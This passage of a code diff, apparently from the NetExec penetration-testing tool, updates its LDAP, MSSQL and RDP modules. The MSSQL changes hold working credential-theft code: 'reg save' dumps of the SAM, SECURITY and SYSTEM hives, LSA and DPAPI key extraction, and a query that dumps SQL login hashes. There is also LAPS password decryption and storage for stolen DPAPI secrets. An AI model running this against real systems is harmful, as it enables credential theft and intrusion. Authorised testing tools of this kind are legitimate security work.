plaintext = decrypt_plaintext(cek, iv, remaining)
self.logger.info(plaintext[:-18].decode("utf-16le"))
return plaintext[:-18].decode("utf-16le")
@@ -325,13 +326,19 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
self.kerberos,
self.kdcHost,
339,
dns_server
dns_server,
self.kdcHost,
self.kdcHost,
self.aesKey,
)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return None, None, None
if not data:
self.logger.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {self.hostname}")
return None, None, None
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
+1
View File
@@ -10,6 +10,7 @@ def proto_args(parser, parents):
ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
ldap_parser.add_argument("--schannel", action="store_true", help="Authenticate with the certificate using Schannel instead of PKINIT")
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
+6 -1
View File
@@ -5,6 +5,7 @@ from OpenSSL.SSL import SysCallError
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import sanitize_dns
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.logger import nxc_logger
@@ -18,6 +19,7 @@ class LDAPResolution:
target = ""
target_domain = ""
base_dn = ""
machine_name = ""
try:
ldap_url = f"ldap://{self.host}"
nxc_logger.info(f"Connecting to {ldap_url} with no baseDN")
@@ -60,5 +62,8 @@ class LDAPResolution:
else:
nxc_logger.error(f"Error getting ldap info {e}")
machine_name = sanitize_dns(machine_name, nxc_logger).upper()
target_domain = sanitize_dns(target_domain, nxc_logger)
target = sanitize_dns(target, nxc_logger)
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
return machine_name, target_domain
return machine_name, target_domain, target
+184 -57
View File
@@ -1,18 +1,22 @@
import os
import random
import contextlib
import binascii
from termcolor import colored
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.connection import requires_admin
from nxc.helpers.misc import gen_random_string
from nxc.helpers.misc import gen_random_string, sanitize_dns
from nxc.logger import NXCAdapter
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.dpapi import DPAPITriage
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from dploot.lib.network.mssql import MSSQLTarget as Target
from impacket import tds, ntlm
from impacket.krb5.ccache import CCache
from impacket.dcerpc.v5.dtypes import SID
@@ -44,6 +48,13 @@ class mssql(connection):
self.lmhash = ""
self.nthash = ""
self.no_ntlm = False
self.encryption = None
self.edition = ""
self.version = ""
self.dpapi_system_key = None
self.no_da = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
@@ -142,10 +153,15 @@ class mssql(connection):
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
return False
else:
self.remoteName = self.host
if challenge.startswith(b"NTLMSSP\x00"):
ntlm_info = parse_challenge(challenge)
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
dns_hostname = ntlm_info["dns_hostname"] or ""
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
@@ -161,8 +177,6 @@ class mssql(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
@@ -306,6 +320,7 @@ class mssql(connection):
self.logger.fail(self.conn.lastError)
else:
for data in raw_output:
self.logger.highlight("--------------------")
for key, value in data.items():
if key:
self.logger.highlight(f"{key}:{value}")
@@ -490,68 +505,65 @@ class mssql(connection):
return "[" + str(ident).replace("]", "]]") + "]"
def list_databases(self):
try:
q = (
"SELECT d.name AS DatabaseName, "
" suser_sname(d.owner_sid) AS Owner "
"FROM sys.databases d "
"ORDER BY d.name;"
)
rows = self.conn.sql_query(q) or []
if not rows:
self.logger.display("No databases returned")
return
query = """
SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
FROM sys.databases d
ORDER BY d.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not rows:
self.logger.display("No databases returned")
return
self.logger.display("Enumerated databases")
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
for r in rows:
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
self.logger.highlight(f"Total: {len(rows)} database(s)")
except Exception as e:
self.logger.fail(f"Failed to enumerate databases: {e}")
self.logger.debug("list_databases error", exc_info=True)
self.logger.display("Enumerated databases")
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
for row in rows:
database_name = row.get("DatabaseName", "")
owner = row.get("Owner", "")
self.logger.highlight(f"{database_name:<30} {owner:<25}")
self.logger.highlight(f"Total: {len(rows)} database(s)")
def database(self):
db_arg = self.args.database
# nxc --database (no value) -> list
if db_arg is True or db_arg is None:
if self.args.database is True:
self.list_databases()
return
# nxc --database <name> -> tables
if isinstance(db_arg, str):
try:
safe = db_arg.replace("'", "''")
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
if not exists:
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
return
tq = (
f"SELECT t.name AS TableName, t.modify_date "
f"FROM {self._qname(db_arg)}.sys.tables t "
f"ORDER BY t.name;"
)
rows = self.conn.sql_query(tq) or []
except Exception as e:
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
self.logger.debug("database() error", exc_info=True)
if isinstance(self.args.database, str):
safe = self.args.database.replace("'", "''")
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not exists:
self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
return
query = f"""
SELECT t.name AS TableName, t.modify_date
FROM {self._qname(self.args.database)}.sys.tables t
ORDER BY t.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not rows:
self.logger.display(f"Database [{db_arg}] has no user tables.")
self.logger.display(f"Database [{self.args.database}] has no user tables.")
return
self.logger.display(f"Tables in database: {db_arg}")
self.logger.display(f"Tables in database: {self.args.database}")
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
for r in rows:
mod = r.get("modify_date", "")
if mod and hasattr(mod, "strftime"):
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
for row in rows:
modify_date = row.get("modify_date", "")
if modify_date and hasattr(modify_date, "strftime"):
modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
self.logger.highlight(f"Total: {len(rows)} table(s)")
return
@@ -560,7 +572,8 @@ class mssql(connection):
sam_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{sam_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="sam")
try:
@@ -591,11 +604,12 @@ class mssql(connection):
SAM.export(output_filename)
@requires_admin
def lsa(self):
def lsa(self, quiet=False):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{security_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
@@ -613,15 +627,128 @@ class mssql(connection):
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
return
self.logger.display("Dumping LSA secrets")
if not quiet:
self.logger.display("Dumping LSA secrets")
local_operations = LocalOperations(f"{output_filename}.system")
boot_key = local_operations.getBootKey()
def lsa_secret_callback(_, secret):
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
LSA = LSASecrets(
f"{output_filename}.security",
boot_key,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
perSecretCallback=lsa_secret_callback,
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
@requires_admin
def dpapi(self):
self.dpapi_triage.triage_dpapi()
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
address=self.remoteName,
port=self.port,
hashes=f":{self.nthash}",
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
use_kcache=self.use_kcache,
aesKey=self.aesKey,
db_auth=self.args.local_auth,
)
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
@requires_admin
def db_hash(self):
self.logger.display("Dumping local database users' hashes")
query = """
SELECT
sp.name,
CASE
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512'
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2'
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1'
ELSE 'Unknown'
END AS hash_type,
sl.password_hash
FROM sys.server_principals sp
INNER JOIN sys.sql_logins sl
ON sp.principal_id = sl.principal_id
WHERE sp.type = 'S' -- uniquement les logins SQL
AND sp.name NOT LIKE '##%'
ORDER BY sp.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
return
if not rows:
self.logger.fail("No logins returned")
return
else:
self.logger.display("Enumerated logins")
self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}")
self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}")
for row in rows:
name = row.get("name")
hash_type = row.get("hash_type")
password_hash = row.get("password_hash")
if password_hash != "NULL":
self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}")
def list_backups(self):
self.logger.info("Dumping database backups")
query = """
SELECT
bs.database_name,
bs.server_name,
bmf.physical_device_name AS backup_file_path,
CASE
WHEN bs.encryptor_type IS NULL THEN 'Unencrypted'
ELSE 'Encrypted'
END AS backup_encryption_status,
bs.encryptor_type,
bs.key_algorithm
FROM msdb.dbo.backupset AS bs
INNER JOIN msdb.dbo.backupmediafamily AS bmf
ON bs.media_set_id = bmf.media_set_id
INNER JOIN sys.databases AS d
ON bs.database_name = d.name
ORDER BY bs.backup_finish_date DESC;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
return
if not rows:
self.logger.fail("No backups returned")
return
else:
self.logger.display("Enumerated backups")
self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}")
self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}")
for row in rows:
database_name = row.get("database_name").strip()
is_encrypted = row.get("backup_encryption_status").strip()
backup_file_path = row.get("backup_file_path").strip()
self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}")
+156 -1
View File
@@ -1,6 +1,7 @@
import warnings
import base64
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import SAWarning
from sqlalchemy.orm import declarative_base
@@ -19,6 +20,8 @@ class database(BaseDB):
self.HostsTable = None
self.UsersTable = None
self.AdminRelationsTable = None
self.DpapiBackupkeyTable = None
self.DpapiSecretsTable = None
super().__init__(db_engine)
@@ -75,6 +78,32 @@ class database(BaseDB):
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
)
class DpapiSecret(Base):
__tablename__ = "dpapi_secrets"
id = Column(Integer)
host = Column(String)
dpapi_type = Column(String)
windows_user = Column(String)
username = Column(String)
password = Column(String)
url = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
)
class DpapiBackupKey(Base):
__tablename__ = "dpapi_backupkey"
id = Column(Integer)
domain = Column(String)
pvk = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("domain"),
)
@staticmethod
def db_schema(db_conn):
Base.metadata.create_all(db_conn)
@@ -84,6 +113,8 @@ class database(BaseDB):
self.UsersTable = self.reflect_table(self.User)
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
"""
@@ -279,6 +310,20 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -353,3 +398,113 @@ class database(BaseDB):
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
Add domain backupkey
:domain is the domain fqdn
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
backup_key = {"domain": domain, "pvk": pvk_encoded}
try:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
self.db_execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
def get_domain_backupkey(self, domain: str | None = None):
"""
Get domain backupkey
:domain is the domain fqdn
"""
q = select(self.DpapiBackupkeyTable)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
if len(results) > 0:
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
return results
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
self,
host: str,
dpapi_type: str,
windows_user: str,
username: str,
password: str,
url: str = "",
):
"""Add dpapi secrets to nxcdb"""
secret = {
"host": host,
"dpapi_type": dpapi_type,
"windows_user": windows_user,
"username": username,
"password": password,
"url": url,
}
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
self.db_execute(q, [secret]) # .scalar()
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
filter_term=None,
host: str | None = None,
dpapi_type: str | None = None,
windows_user: str | None = None,
username: str | None = None,
url: str | None = None,
):
"""Get dpapi secrets from nxcdb"""
q = select(self.DpapiSecretsTable)
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecretsTable.c.host == host)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
elif windows_user:
like_term = func.lower(f"%{windows_user}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif username:
like_term = func.lower(f"%{username}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
+5
View File
@@ -16,6 +16,10 @@ def proto_args(parser, parents):
cgroup = mssql_parser.add_argument_group("Credential Gathering")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes")
cgroup = mssql_parser.add_argument_group("Command Execution")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
@@ -36,4 +40,5 @@ def proto_args(parser, parents):
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path")
return parser
+346 -214
View File
@@ -1,19 +1,25 @@
import asyncio
import base64
import copy
import contextlib
from datetime import datetime
from os import getenv
from uuid import uuid4
from anyio import Path
from termcolor import colored
from impacket.krb5.ccache import CCache
from impacket.smb3 import WIN_VERSIONS
from nxc.connection import connection
from nxc.helpers.misc import sanitize_dns
from nxc.helpers.path import sanitize_path_component
from nxc.helpers.bloodhound import add_user_bh
from nxc.logger import NXCAdapter
from nxc.config import host_info_colors, process_secret
from nxc.paths import NXC_PATH
from aardwolf.connection import RDPConnection
from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED
from aardwolf.commons.queuedata.constants import VIDEO_FORMAT
from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE
from aardwolf.commons.iosettings import RDPIOSettings
@@ -34,7 +40,6 @@ class rdp(connection):
self.domain = None
self.server_os = None
self.iosettings = RDPIOSettings()
self.iosettings.video_out_format = VIDEO_FORMAT.RAW
self.iosettings.clipboard_use_pyperclip = False
self.protoflags_nla = [
SUPP_PROTOCOLS.SSL,
@@ -54,8 +59,8 @@ class rdp(connection):
# servers dont support 8 any more :/
self.iosettings.video_bpp_min = 15
self.iosettings.video_bpp_max = 32
# PIL produces incorrect picture for some reason?! TODO: check bug
self.iosettings.video_out_format = VIDEO_FORMAT.PNG #
# screenshots read the desktop buffer, so don't PNG-encode every update put on ext_out_queue
self.iosettings.video_out_format = VIDEO_FORMAT.PIL
self.domain = None
self.server_os = None
self.url = None
@@ -81,7 +86,9 @@ class rdp(connection):
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
}
connection.__init__(self, args, db, host)
# one event loop per target: aardwolf's reader tasks die with their loop, so a session can only be reused on the loop that opened it
with asyncio.Runner() as self.runner:
connection.__init__(self, args, db, host)
def proto_logger(self):
import platform
@@ -114,21 +121,30 @@ class rdp(connection):
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
def _create_rdp_connection(self, credentials, supported_protocols=None):
iosettings = self.iosettings.clone_for_connection()
# Explicit protocols are used by discovery and screenshot fallbacks.
# Authenticated connections leave this unset so aardwolf selects the
# X224 flags appropriate for the credential type.
iosettings.supported_protocols = supported_protocols
return RDPConnection(
iosettings=iosettings,
target=copy.deepcopy(self.target),
credentials=copy.deepcopy(credentials),
)
def create_conn_obj(self):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
asyncio.run(self.check_nla())
self.runner.run(self.check_nla())
for proto in reversed(self.protoflags):
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(
iosettings=self.iosettings,
target=self.target,
credentials=self.auth,
self.conn = self._create_rdp_connection(
self.auth, supported_protocols=proto
)
asyncio.run(self.connect_rdp_with_cleanup())
self.runner.run(self.connect_rdp_with_cleanup())
except OSError as e:
if "Errno 104" not in str(e):
return False
@@ -141,9 +157,10 @@ class rdp(connection):
except Exception:
pass
else:
self.domain = info_domain["dnsdomainname"]
self.hostname = info_domain["computername"]
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
self.hostname = sanitize_dns(info_domain.get("computername"), self.logger)
self.domain = sanitize_dns(info_domain.get("dnsdomainname"), self.logger)
self.remoteName = sanitize_dns(info_domain.get("dnscomputername"), self.logger) if self.kerberos else self.host
self.server_os = self.guess_os(info_domain)
self.logger.extra["hostname"] = self.hostname
break
@@ -152,8 +169,6 @@ class rdp(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
@@ -166,22 +181,33 @@ class rdp(connection):
domain=self.domain,
dc_ip=self.domain,
timeout=self.args.rdp_timeout,
unsafe_ssl=True,
)
# Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it
self.iosettings.supported_protocols = None
return True
def guess_os(self, info_domain):
build = info_domain.get("os_build")
if build in WIN_VERSIONS:
return f"{WIN_VERSIONS[build]} Build {build}"
if info_domain.get("os_major_version") == "WINDOWS_MAJOR_VERSION_10": # asyauth labels every 10.0 kernel "Windows 10 or Windows Server 2016", only trust it for older kernels
return f"Windows 10.0 Build {build}"
return f"{info_domain.get('os_guess') or 'Unknown'} Build {build or 'Unknown'}"
async def check_nla(self):
self.logger.debug(f"Checking NLA for {self.host}")
probe_connection = None
try:
self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL
self.conn = RDPConnection(
iosettings=self.iosettings,
target=self.target,
credentials=None,
self.conn = self._create_rdp_connection(
None, supported_protocols=SUPP_PROTOCOLS.SSL
)
packetizer = TPKTPacketizer()
client = UniClient(self.target, packetizer)
self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
probe_connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
self.conn._connection = probe_connection
self.conn._x224net = X224Network(self.conn._connection)
_, err = await asyncio.wait_for(self.conn._x224net.client_negotiate(0, SUPP_PROTOCOLS.SSL), timeout=self.args.rdp_timeout)
# If no error SSL supported if SSL_NOT_ALLOWED_BY_SERVER error, plain RDP supported
@@ -190,25 +216,27 @@ class rdp(connection):
return
except Exception:
pass
finally:
# this probe socket is not owned by aardwolf, terminate() would not close it
if probe_connection is not None:
await probe_connection.close()
async def connect_rdp(self):
"""Connect to the RDP server. Does NOT clean up on exit.
Use this when the caller needs the connection alive after connecting
(screen, nla_screen, execute_shell). For sync callers that only need to
know whether authentication succeeded and want guaranteed cleanup, use
connect_rdp_with_cleanup() instead.
"""
"""Connect to the RDP server. Does NOT clean up on exit."""
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
if err is not None:
raise err
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
async def terminate_conn(self):
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
"""Terminate the RDP connection with a timeout so cleanup doesn't hang (https://github.com/skelsec/aardwolf/issues/43)."""
if self.conn is not None:
with contextlib.suppress(Exception):
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
def disconnect(self):
self.runner.run(self.terminate_conn())
async def connect_rdp_with_cleanup(self):
"""Connect to the RDP server and always terminate the connection on exit"""
try:
@@ -216,7 +244,31 @@ class rdp(connection):
finally:
await self.terminate_conn()
async def login_and_confirm(self):
"""Log on and return whether a real session opened (Save Session Info PDU). The session stays open for -x/-X/--screenshot until disconnect().
That PDU never comes when access is authorized but the logon is refused (restricted admin).
"""
await self.terminate_conn() # a session kept by an earlier success (--continue-on-success) would take a session slot this logon needs
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
try:
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
return True
except TimeoutError:
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
return False
def rdp_access_denied(self):
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU.
"""
self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}")
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.username = username
try:
lmhash = ""
nthash = ""
@@ -232,23 +284,23 @@ class rdp(connection):
if nthash:
self.nthash = nthash
kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else ""
self.hostname + "." + self.domain
password = password if password else nthash
if useCache:
stype = asyauthSecret.CCACHE
if not password:
password = password if password else getenv("KRB5CCNAME")
if "/" in password:
self.logger.fail("Kerberos ticket need to be on the local directory")
return False
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
ticketCreds = ccache.credentials[0]
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
password = getenv("KRB5CCNAME")
ccache = CCache.loadFile(password)
ticketCreds = ccache.credentials[0]
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
elif aesKey:
stype = asyauthSecret.AES
password = aesKey
else:
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
password = password if password else nthash
kerb_pass = password
kerberos_target = UniTarget(
self.kdcHost,
@@ -268,10 +320,8 @@ class rdp(connection):
domain=domain,
stype=stype,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = self.runner.run(self.login_and_confirm())
self.admin_privs = True
self.logger.success(
"{}\\{}{} {}".format(
domain,
@@ -299,8 +349,11 @@ class rdp(connection):
